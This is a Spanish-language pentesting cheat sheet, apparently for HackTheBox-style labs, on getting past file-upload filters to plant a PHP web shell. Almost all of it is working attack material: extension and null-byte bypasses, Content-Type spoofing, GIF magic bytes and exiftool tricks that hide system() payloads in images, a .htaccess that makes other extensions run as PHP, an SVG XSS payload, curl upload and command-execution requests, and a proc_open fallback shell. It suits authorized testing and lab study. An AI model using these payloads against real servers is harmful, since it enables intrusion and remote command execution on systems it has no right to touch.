Subida de archivos
Saltar los filtros de una subida para meter una web shell: extensiones alternativas, doble extensión, Content-Type, magic bytes, .htaccess, y cómo encontrar dónde quedó el archivo.
Extensiones
- Alternativas a .php
.php3 .php4 .php5 .php7 .phtml .phar .pht .phps .pgif .inc - Doble extensión
shell.php.jpg shell.jpg.php - Mayúsculas
shell.pHp - Byte nulo (servidores viejos)
shell.php%00.jpg - Punto o espacio al final (Windows)
shell.php. shell.php%20 - ASP.NET
.aspx .asp .ashx .asmx .cer .config - Probar una lista de extensiones
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
Engañar al filtro
- Cambiar el Content-Type (en Burp)
Content-Type: image/jpeg - Magic bytes de GIF delante del PHP
printf 'GIF89a;\n<?php system($_GET["cmd"]); ?>' > shell.php - PHP dentro de una foto real
exiftool -Comment='<?php system($_GET["cmd"]); ?>' foto.jpg && mv foto.jpg foto.php.jpg - Subir un .htaccess que ejecute otra extensión
echo "AddType application/x-httpd-php .dlu" > .htaccess - XSS con un SVG
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> - Subir desde curl
curl -s -F "file=@shell.php;type=image/jpeg" http://objetivo.htb/upload.php
Después de subirla
- Buscar la carpeta de subidas
ffuf -u http://objetivo.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt -fc 404 - Probarla
curl "http://objetivo.htb/uploads/shell.php?cmd=id" - ¿Qué funciones bloqueó PHP?
<?php echo ini_get("disable_functions"); ?> - Shell si system está bloqueado
<?php $p=proc_open($_GET["cmd"],[1=>["pipe","w"]],$x); echo stream_get_contents($x[1]); ?>